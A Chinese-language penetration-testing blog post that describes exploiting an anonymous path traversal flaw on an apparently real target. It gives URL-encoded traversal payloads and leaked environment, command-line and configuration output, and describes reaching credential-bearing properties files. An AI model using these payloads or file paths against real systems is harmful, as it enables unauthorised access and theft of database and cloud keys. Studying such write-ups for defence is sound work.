文章

任意文件读取不止于 /etc/passwd——敏感路径的拼接与挖掘

任意文件读取不止于 /etc/passwd——敏感路径的拼接与挖掘

本文源于一次真实环境中的漏洞。

以前每次有任意文件读取漏洞(Arbitrary File Read),我总是读取 /etc/passwd,shadow,proc,arp 之类的内容。在不知道具体网站目录,还有结构的情况下很难找到有用的东西,而这一次通过各种手段读取,最终拼接出一个敏感文件,深度利用,拿下诸多资产。

一、发现目标端点

通过 katana 爬虫发现了几个带 fileName= 参数的端点:/gov/file/downFile?fileName=、/gov/idle/getImage?fileName= 等等。这些是天然的路径遍历测试目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
katana -u https://target -jc -jsl -c 50 -d 10

   __        __                
  / /_____ _/ /____ ____  ___ _
 /  '_/ _  / __/ _  / _ \/ _  /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/                                                   

                projectdiscovery.io

[INF] Current katana version v1.6.1 (latest)
[INF] Started standard crawling for => https://target

省略……
https://target/gov/file/downFile?fileName=

发现端点:/gov/file/downFile?fileName=,这里目标的首页是https://target/#/login,在爬取的时候不要带上#/login

原因是 Vue / React SPA:https://host/#/login里面的#是前端 hash 路由。

服务器实际收到的是:GET /,后面的:#/login不会发送给服务器。

所以 katana 看到的是:/即可。

二、测试基本穿越

先用最简单的 ../ 试:

1
/gov/file/downFile?fileName=../../../etc/passwd

这个返回了 文件不存在(被过滤了),但没返回认证错误——说明端点本身是匿名的。

这里URL编码就行,/ 编码为 %2F,..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd 成功返回了 /etc/passwd 的内容。

三、从已知推未知(信息收集)

1、读取/proc/self/environ

这个文件包含进程环境变量,直接暴露了应用名、部署用户 yscredit、以及各种路径前缀 /home/yscredit/

1
2
3
4
5
HTTP/1.1 200
Server: nginx
Content-Type: application/octet-stream

HOSTNAME=41b11ff738c9LANGUAGE=en_US:enJAVA_HOME=/opt/java/openjdkJAVA_OPTS=-Xmx512m -Xms512m -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dsun.io.useCanonCaches=false -Dorg.apache.catalina.security.SecurityListener.UMASK=0027PWD=/usr/local/tomcatTOMCAT_SHA512=省略TZ=Asia/ShanghaiTOMCAT_MAJOR=9HOME=/rootLANG=zh_CN.utf8TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-libCATALINA_HOME=/usr/local/tomcatSHLVL=0JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.invoke=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMEDLD_LIBRARY_PATH=/usr/local/tomcat/native-jni-libLC_ALL=en_US.UTF-8PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binTOMCAT_VERSION=9.0.118JAVA_VERSION=jdk8u492-b09

2、读取/proc/self/cmdline

Java 进程的启动命令会暴露 classpath、-D 参数等

1
2
3
4
5
HTTP/1.1 200
Server: nginx
Content-Type: application/octet-stream

/opt/java/openjdk/bin/java-Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager-Xmx512m-Xms512m-Djdk.tls.ephemeralDHKeySize=2048-Djava.protocol.handler.pkgs=org.apache.catalina.webresources-Dsun.io.useCanonCaches=false-Dorg.apache.catalina.security.SecurityListener.UMASK=0027-Dignore.endorsed.dirs=-classpath/usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar-Dcatalina.base=/usr/local/tomcat-Dcatalina.home=/usr/local/tomcat-Djava.io.tmpdir=/usr/local/tomcat/temporg.apache.catalina.startup.Bootstrapstart

3、读取 Tomcat 配置

/proc/self/cwd/../conf/server.xml 或 /usr/local/tomcat/conf/server.xml 会暴露各个 webapp 的部署路径

1
2
3
4
5
6
HTTP/1.1 200
Server: nginx
Content-Type: multipart/form-data;charset=utf-8

这里敏感路径很多,省略,遇到了文件读取漏洞,尝试读取一下

4、读取 Spring 配置

先读 /proc/self/cwd/WEB-INF/classes/ 下的文件,Spring Boot 的 application.properties 或 application.yml 里通常有 spring.config.location 指向外部配置文件

例如:/usr/local/tomcat/webapps/ROOT/WEB-INF/applicationContext.xml

1
2
3
4
5
6
HTTP/1.1 200
Server: nginx
Content-Type: multipart/form-data;charset=utf-8

这里也是非常敏感,还有定时任务,和各种 bean 包配置。

读取到了一个路径:/home/yscredit/properties/省略-gov.properties

5、从应用日志推断

如果能看到应用日志(/home/yscredit/省略/logs/),里面经常会有配置文件加载的路径信息

5、读取/home/<user>/properties/*.properties

从上面得到配置文件(业务系统常见模式)

1
../../../../home/yscredit/properties/省略-gov.properties

从而拿到了具体应用配置,获取了各类数据库、云数据库(阿里云 RDS)、Redis、OSS对象存储、企业档案、税务人员、信用开放服务、小程序、邮件服务 密码或密钥。

本文由作者按照 CC BY 4.0 进行授权